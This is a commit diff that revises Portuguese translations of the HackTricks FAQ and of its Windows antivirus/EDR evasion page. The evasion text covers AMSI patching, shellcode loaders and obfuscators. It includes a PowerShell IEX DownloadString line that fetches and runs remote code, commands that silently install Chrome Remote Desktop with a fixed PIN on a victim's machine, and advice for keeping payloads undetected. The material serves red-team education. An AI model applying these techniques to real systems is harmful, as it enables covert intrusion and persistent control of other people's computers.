mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/welcome/hacktricks-values-and-faq.md', 'src/windows-har
This commit is contained in:
		
							parent
							
								
									a728212e0b
								
							
						
					
					
						commit
						7649f07fa3
					
				@ -72,11 +72,11 @@ Se você teme que isso desapareça, basta fazer um fork no Github ou baixá-lo,
 | 
				
			|||||||
>
 | 
					>
 | 
				
			||||||
> - **Por que você tem patrocinadores? Os livros do HackTricks são para fins comerciais?**
 | 
					> - **Por que você tem patrocinadores? Os livros do HackTricks são para fins comerciais?**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODOS** no mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITO**.
 | 
					O primeiro **valor** do **HackTricks** é oferecer recursos educacionais de hacking **GRATUITOS** para **TODOS** no mundo. A equipe do HackTricks dedicou **milhares de horas** para oferecer este conteúdo, novamente, **GRATUITAMENTE**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
 | 
					Se você acha que os livros do HackTricks são feitos para **fins comerciais**, você está **COMPLETAMENTE ERRADO**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**patrocinadores do Github**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornem **visíveis**, mas que **não atrapalhem o processo de aprendizado** se alguém se concentrar no conteúdo.
 | 
					Temos patrocinadores porque, mesmo que todo o conteúdo seja GRATUITO, queremos **oferecer à comunidade a possibilidade de apreciar nosso trabalho** se assim desejarem. Portanto, oferecemos às pessoas a opção de doar para o HackTricks via [**Github sponsors**](https://github.com/sponsors/carlospolop), e **empresas de cibersegurança relevantes** para patrocinar o HackTricks e **ter alguns anúncios** no livro, sendo os **anúncios** sempre colocados em locais que os tornam **visíveis**, mas que **não atrapalham o processo de aprendizado** se alguém se concentrar no conteúdo.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo do que o HackTricks, porque o HackTricks não é feito para fins comerciais.
 | 
					Você não encontrará o HackTricks cheio de anúncios irritantes como outros blogs com muito menos conteúdo do que o HackTricks, porque o HackTricks não é feito para fins comerciais.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -84,13 +84,13 @@ Você não encontrará o HackTricks cheio de anúncios irritantes como outros bl
 | 
				
			|||||||
>
 | 
					>
 | 
				
			||||||
> - **O que devo fazer se alguma página do HackTricks for baseada no meu post de blog, mas não estiver referenciada?**
 | 
					> - **O que devo fazer se alguma página do HackTricks for baseada no meu post de blog, mas não estiver referenciada?**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via problemas do Github, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **nós iremos verificar e adicionar o mais rápido possível**.
 | 
					**Lamentamos muito. Isso não deveria ter acontecido**. Por favor, nos avise via Github issues, Twitter, Discord... o link da página do HackTricks com o conteúdo e o link do seu blog e **nós iremos verificar e adicionar o mais rápido possível**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!CAUTION]
 | 
					> [!CAUTION]
 | 
				
			||||||
>
 | 
					>
 | 
				
			||||||
> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que esteja lá?**
 | 
					> - **O que devo fazer se houver conteúdo do meu blog no HackTricks e eu não quiser que esteja lá?**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Note que ter links para sua página no HackTricks:
 | 
					Observe que ter links para sua página no HackTricks:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- Melhora seu **SEO**
 | 
					- Melhora seu **SEO**
 | 
				
			||||||
- O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem este conteúdo
 | 
					- O conteúdo é **traduzido para mais de 15 idiomas**, possibilitando que mais pessoas acessem este conteúdo
 | 
				
			||||||
@ -100,7 +100,7 @@ No entanto, se você ainda quiser que o conteúdo do seu blog seja removido do H
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
> [!CAUTION]
 | 
					> [!CAUTION]
 | 
				
			||||||
>
 | 
					>
 | 
				
			||||||
> - **O que devo fazer se encontrar conteúdo copiado e colado no HackTricks?**
 | 
					> - **O que devo fazer se eu encontrar conteúdo copiado e colado no HackTricks?**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Nós sempre **damos todos os créditos aos autores originais**. Se você encontrar uma página com conteúdo copiado e colado sem a fonte original referenciada, nos avise e nós iremos **removê-lo**, **adicionar o link antes do texto**, ou **reescrevê-lo adicionando o link**.
 | 
					Nós sempre **damos todos os créditos aos autores originais**. Se você encontrar uma página com conteúdo copiado e colado sem a fonte original referenciada, nos avise e nós iremos **removê-lo**, **adicionar o link antes do texto**, ou **reescrevê-lo adicionando o link**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -117,7 +117,7 @@ Copyright © Todos os direitos reservados, a menos que especificado de outra for
 | 
				
			|||||||
#### Termos Adicionais:
 | 
					#### Termos Adicionais:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de uso justo ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento sobre conteúdo de terceiros.
 | 
					- Conteúdo de Terceiros: Algumas partes deste blog/livro podem incluir conteúdo de outras fontes, como trechos de outros blogs ou publicações. O uso de tal conteúdo é feito sob os princípios de uso justo ou com permissão explícita dos respectivos detentores de direitos autorais. Consulte as fontes originais para informações específicas de licenciamento sobre conteúdo de terceiros.
 | 
				
			||||||
- Autoria: O conteúdo original escrito pelo HackTricks está sujeito aos termos desta licença. Você é incentivado a atribuir este trabalho ao autor ao compartilhá-lo ou adaptá-lo.
 | 
					- Autoria: O conteúdo original escrito pelo HackTricks está sujeito aos termos desta licença. Você é encorajado a atribuir este trabalho ao autor ao compartilhá-lo ou adaptá-lo.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
#### Isenções:
 | 
					#### Isenções:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
				
			|||||||
@ -47,22 +47,22 @@ Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, en
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
 | 
					<figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Algumas outras dicas realmente boas de [@mgeeky](https://twitter.com/mariuszbit) para ir contra Sandboxes
 | 
					Algumas outras dicas muito boas de [@mgeeky](https://twitter.com/mariuszbit) para ir contra Sandboxes
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
 | 
					<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então, você deve se perguntar algo:
 | 
					Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então, você deve se perguntar algo:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Por exemplo, se você quiser despejar o LSASS, **você realmente precisa usar mimikatz**? Ou você poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
 | 
					Por exemplo, se você quiser despejar o LSASS, **você realmente precisa usar mimikatz**? Ou poderia usar um projeto diferente que é menos conhecido e também despeja o LSASS.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
A resposta certa é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das, se não a mais sinalizada peça de malware pelos AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
 | 
					A resposta certa é provavelmente a última. Tomando mimikatz como exemplo, é provavelmente uma das, se não a peça de malware mais sinalizada por AVs e EDRs, enquanto o projeto em si é super legal, também é um pesadelo trabalhar com ele para contornar os AVs, então apenas procure alternativas para o que você está tentando alcançar.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no Defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar a evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até ficar satisfeito com o resultado.
 | 
					> Ao modificar seus payloads para evasão, certifique-se de **desativar a submissão automática de amostras** no Defender, e por favor, sério, **NÃO CARREGUE NO VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você quiser verificar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar a submissão automática de amostras e teste lá até que você esteja satisfeito com o resultado.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## EXEs vs DLLs
 | 
					## EXEs vs DLLs
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Sempre que possível, **priorize o uso de DLLs para evasão**, na minha experiência, arquivos DLL são geralmente **muito menos detectados** e analisados, então é um truque muito simples de usar para evitar a detecção em alguns casos (se seu payload tiver alguma maneira de ser executado como uma DLL, é claro).
 | 
					Sempre que possível, sempre **priorize o uso de DLLs para evasão**, na minha experiência, arquivos DLL são geralmente **muito menos detectados** e analisados, então é um truque muito simples de usar para evitar a detecção em alguns casos (se seu payload tiver alguma maneira de ser executado como uma DLL, é claro).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
 | 
					Como podemos ver nesta imagem, um Payload DLL do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de detecção de 7/26.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -115,7 +115,7 @@ Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) qu
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## [**Freeze**](https://github.com/optiv/Freeze)
 | 
					## [**Freeze**](https://github.com/optiv/Freeze)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
`Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, syscalls diretas e métodos de execução alternativos`
 | 
					`Freeze é um kit de ferramentas de payload para contornar EDRs usando processos suspensos, chamadas de sistema diretas e métodos de execução alternativos`
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Você pode usar o Freeze para carregar e executar seu shellcode de maneira furtiva.
 | 
					Você pode usar o Freeze para carregar e executar seu shellcode de maneira furtiva.
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -131,7 +131,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
## AMSI (Interface de Varredura Anti-Malware)
 | 
					## AMSI (Interface de Varredura Anti-Malware)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os AVs eram capazes de escanear **arquivos no disco**, então, se você conseguisse executar payloads **diretamente na memória**, o AV não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
 | 
					AMSI foi criado para prevenir "[malware sem arquivo](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, os antivírus eram capazes de escanear **arquivos no disco**, então, se você conseguisse executar payloads **diretamente na memória**, o antivírus não poderia fazer nada para impedir, pois não tinha visibilidade suficiente.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
O recurso AMSI está integrado nesses componentes do Windows.
 | 
					O recurso AMSI está integrado nesses componentes do Windows.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -147,7 +147,7 @@ Executar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
 | 
					<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Note como ele adiciona `amsi:` e então o caminho para o executável do qual o script foi executado, neste caso, powershell.exe
 | 
					Note como ele adiciona `amsi:` e, em seguida, o caminho para o executável a partir do qual o script foi executado, neste caso, powershell.exe.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos na memória por causa do AMSI.
 | 
					Não deixamos nenhum arquivo no disco, mas ainda assim fomos pegos na memória por causa do AMSI.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -191,12 +191,12 @@ Tenha em mente que isso provavelmente será sinalizado assim que esta postagem f
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
**Memory Patching**
 | 
					**Memory Patching**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-lo com instruções para retornar o código E_INVALIDARG, dessa forma, o resultado da varredura real retornará 0, que é interpretado como um resultado limpo.
 | 
					Esta técnica foi inicialmente descoberta por [@RastaMouse](https://twitter.com/_RastaMouse/) e envolve encontrar o endereço da função "AmsiScanBuffer" em amsi.dll (responsável por escanear a entrada fornecida pelo usuário) e sobrescrevê-lo com instruções para retornar o código para E_INVALIDARG, dessa forma, o resultado da varredura real retornará 0, que é interpretado como um resultado limpo.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
 | 
					> Por favor, leia [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para uma explicação mais detalhada.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Existem também muitas outras técnicas usadas para contornar o AMSI com PowerShell, confira [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**este repositório**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para saber mais sobre elas.
 | 
					Existem também muitas outras técnicas usadas para contornar o AMSI com PowerShell, confira [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) e [**este repositório**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender mais sobre elas.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Esta ferramenta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) também gera scripts para contornar o AMSI.
 | 
					Esta ferramenta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) também gera scripts para contornar o AMSI.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -226,7 +226,7 @@ Para contornar o registro do PowerShell, você pode usar as seguintes técnicas:
 | 
				
			|||||||
## Obfuscation
 | 
					## Obfuscation
 | 
				
			||||||
 | 
					
 | 
				
			||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> Várias técnicas de ofuscação dependem da criptografia de dados, o que aumentará a entropia do binário, facilitando a detecção por AVs e EDRs. Tenha cuidado com isso e talvez aplique a criptografia apenas a seções específicas do seu código que são sensíveis ou precisam ser ocultadas.
 | 
					> Várias técnicas de ofuscação dependem da criptografia de dados, o que aumentará a entropia do binário, tornando mais fácil para AVs e EDRs detectá-lo. Tenha cuidado com isso e talvez aplique criptografia apenas a seções específicas do seu código que são sensíveis ou precisam ser ocultadas.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Existem várias ferramentas que podem ser usadas para **ofuscar código em texto claro C#**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, como:
 | 
					Existem várias ferramentas que podem ser usadas para **ofuscar código em texto claro C#**, gerar **modelos de metaprogramação** para compilar binários ou **ofuscar binários compilados**, como:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -237,7 +237,7 @@ Existem várias ferramentas que podem ser usadas para **ofuscar código em texto
 | 
				
			|||||||
- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
 | 
					- [**obfy**](https://github.com/fritzone/obfy): Adiciona uma camada de operações ofuscadas geradas pelo framework de metaprogramação de templates C++ que tornará a vida da pessoa que deseja quebrar a aplicação um pouco mais difícil.
 | 
				
			||||||
- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
 | 
					- [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatraz é um ofuscador de binários x64 que é capaz de ofuscar vários arquivos pe diferentes, incluindo: .exe, .dll, .sys
 | 
				
			||||||
- [**metame**](https://github.com/a0rtega/metame): Metame é um simples motor de código metamórfico para executáveis arbitrários.
 | 
					- [**metame**](https://github.com/a0rtega/metame): Metame é um simples motor de código metamórfico para executáveis arbitrários.
 | 
				
			||||||
- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem, transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
 | 
					- [**ropfuscator**](https://github.com/ropfuscator/ropfuscator): ROPfuscator é um framework de ofuscação de código de grão fino para linguagens suportadas pelo LLVM usando ROP (programação orientada a retorno). ROPfuscator ofusca um programa no nível de código de montagem transformando instruções regulares em cadeias ROP, frustrando nossa concepção natural de fluxo de controle normal.
 | 
				
			||||||
- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim.
 | 
					- [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt é um Crypter PE .NET escrito em Nim.
 | 
				
			||||||
- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los.
 | 
					- [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor é capaz de converter EXE/DLL existentes em shellcode e, em seguida, carregá-los.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -251,7 +251,7 @@ O Microsoft Defender SmartScreen é um mecanismo de segurança destinado a prote
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomumente acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar assim mesmo).
 | 
					O SmartScreen funciona principalmente com uma abordagem baseada em reputação, o que significa que aplicativos baixados incomumente acionarão o SmartScreen, alertando e impedindo o usuário final de executar o arquivo (embora o arquivo ainda possa ser executado clicando em Mais Informações -> Executar assim mesmo).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome de Zone.Identifier, que é criado automaticamente ao baixar arquivos da internet, junto com a URL de onde foi baixado.
 | 
					**MoTW** (Mark of The Web) é um [NTFS Alternate Data Stream](<https://en.wikipedia.org/wiki/NTFS#Alternate_data_stream_(ADS)>) com o nome de Zone.Identifier que é criado automaticamente ao baixar arquivos da internet, junto com a URL de onde foi baixado.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<figure><img src="../images/image (237).png" alt=""><figcaption><p>Verificando o ADS Zone.Identifier para um arquivo baixado da internet.</p></figcaption></figure>
 | 
					<figure><img src="../images/image (237).png" alt=""><figcaption><p>Verificando o ADS Zone.Identifier para um arquivo baixado da internet.</p></figcaption></figure>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -302,13 +302,13 @@ Você pode encontrar mais informações em **[https://blog.xpnsec.com/hiding-you
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas de pós-exploração sem ser pego pelo AV.
 | 
					Carregar binários C# na memória é conhecido há bastante tempo e ainda é uma ótima maneira de executar suas ferramentas de pós-exploração sem ser pego pelo AV.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Como a carga útil será carregada diretamente na memória sem tocar no disco, só teremos que nos preocupar em patchar o AMSI para todo o processo.
 | 
					Como a carga útil será carregada diretamente na memória sem tocar no disco, teremos que nos preocupar apenas em patchar o AMSI para todo o processo.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já fornece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
 | 
					A maioria das estruturas C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) já fornece a capacidade de executar assemblies C# diretamente na memória, mas existem diferentes maneiras de fazer isso:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- **Fork\&Run**
 | 
					- **Fork\&Run**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que, se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
 | 
					Isso envolve **gerar um novo processo sacrificial**, injetar seu código malicioso de pós-exploração nesse novo processo, executar seu código malicioso e, quando terminar, matar o novo processo. Isso tem seus benefícios e desvantagens. O benefício do método fork and run é que a execução ocorre **fora** do nosso processo de implante Beacon. Isso significa que, se algo em nossa ação de pós-exploração der errado ou for pego, há uma **chance muito maior** de nosso **implante sobreviver.** A desvantagem é que você tem uma **maior chance** de ser pego por **Detecções Comportamentais**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
 | 
					<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -321,7 +321,7 @@ Trata-se de injetar o código malicioso de pós-exploração **em seu próprio p
 | 
				
			|||||||
> [!TIP]
 | 
					> [!TIP]
 | 
				
			||||||
> Se você quiser ler mais sobre o carregamento de Assembly C#, consulte este artigo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e seu BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
 | 
					> Se você quiser ler mais sobre o carregamento de Assembly C#, consulte este artigo [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) e seu BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Você também pode carregar Assemblies C# **do PowerShell**, confira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e o vídeo de [S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
 | 
					Você também pode carregar Assemblies C# **do PowerShell**, confira [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) e [o vídeo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Usando Outras Linguagens de Programação
 | 
					## Usando Outras Linguagens de Programação
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -335,7 +335,7 @@ O repositório indica: O Defender ainda escaneia os scripts, mas ao utilizar Go,
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
Token stomping é uma técnica que permite a um atacante **manipular o token de acesso ou um produto de segurança como um EDR ou AV**, permitindo que eles reduzam seus privilégios para que o processo não morra, mas não tenha permissões para verificar atividades maliciosas.
 | 
					Token stomping é uma técnica que permite a um atacante **manipular o token de acesso ou um produto de segurança como um EDR ou AV**, permitindo que eles reduzam seus privilégios para que o processo não morra, mas não tenha permissões para verificar atividades maliciosas.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Para prevenir isso, o Windows poderia **impedir que processos externos** obtivessem handles sobre os tokens de processos de segurança.
 | 
					Para prevenir isso, o Windows poderia **impedir processos externos** de obter handles sobre os tokens de processos de segurança.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
 | 
					- [**https://github.com/pwn1sher/KillDefender/**](https://github.com/pwn1sher/KillDefender/)
 | 
				
			||||||
- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
 | 
					- [**https://github.com/MartinIngesen/TokenStomp**](https://github.com/MartinIngesen/TokenStomp)
 | 
				
			||||||
@ -348,12 +348,12 @@ Para prevenir isso, o Windows poderia **impedir que processos externos** obtives
 | 
				
			|||||||
Como descrito em [**este post do blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), é fácil apenas implantar o Chrome Remote Desktop no PC da vítima e depois usá-lo para assumir o controle e manter a persistência:
 | 
					Como descrito em [**este post do blog**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), é fácil apenas implantar o Chrome Remote Desktop no PC da vítima e depois usá-lo para assumir o controle e manter a persistência:
 | 
				
			||||||
1. Baixe de https://remotedesktop.google.com/, clique em "Configurar via SSH" e depois clique no arquivo MSI para Windows para baixar o arquivo MSI.
 | 
					1. Baixe de https://remotedesktop.google.com/, clique em "Configurar via SSH" e depois clique no arquivo MSI para Windows para baixar o arquivo MSI.
 | 
				
			||||||
2. Execute o instalador silenciosamente na vítima (admin necessário): `msiexec /i chromeremotedesktophost.msi /qn`
 | 
					2. Execute o instalador silenciosamente na vítima (admin necessário): `msiexec /i chromeremotedesktophost.msi /qn`
 | 
				
			||||||
3. Volte para a página do Chrome Remote Desktop e clique em próximo. O assistente então pedirá que você autorize; clique no botão Autorizar para continuar.
 | 
					3. Volte para a página do Chrome Remote Desktop e clique em próximo. O assistente pedirá que você autorize; clique no botão Autorizar para continuar.
 | 
				
			||||||
4. Execute o parâmetro fornecido com alguns ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note o parâmetro pin que permite definir o pin sem usar a GUI).
 | 
					4. Execute o parâmetro fornecido com alguns ajustes: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Note o parâmetro pin que permite definir o pin sem usar a GUI).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
## Evasão Avançada
 | 
					## Evasão Avançada
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em apenas um sistema, então é praticamente impossível permanecer completamente indetectável em ambientes maduros.
 | 
					Evasão é um tópico muito complicado, às vezes você tem que levar em conta muitas fontes diferentes de telemetria em um único sistema, então é praticamente impossível permanecer completamente indetectado em ambientes maduros.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Cada ambiente contra o qual você vai terá seus próprios pontos fortes e fracos.
 | 
					Cada ambiente contra o qual você vai terá seus próprios pontos fortes e fracos.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -374,7 +374,7 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
 | 
				
			|||||||
### **Verifique quais partes o Defender considera maliciosas**
 | 
					### **Verifique quais partes o Defender considera maliciosas**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
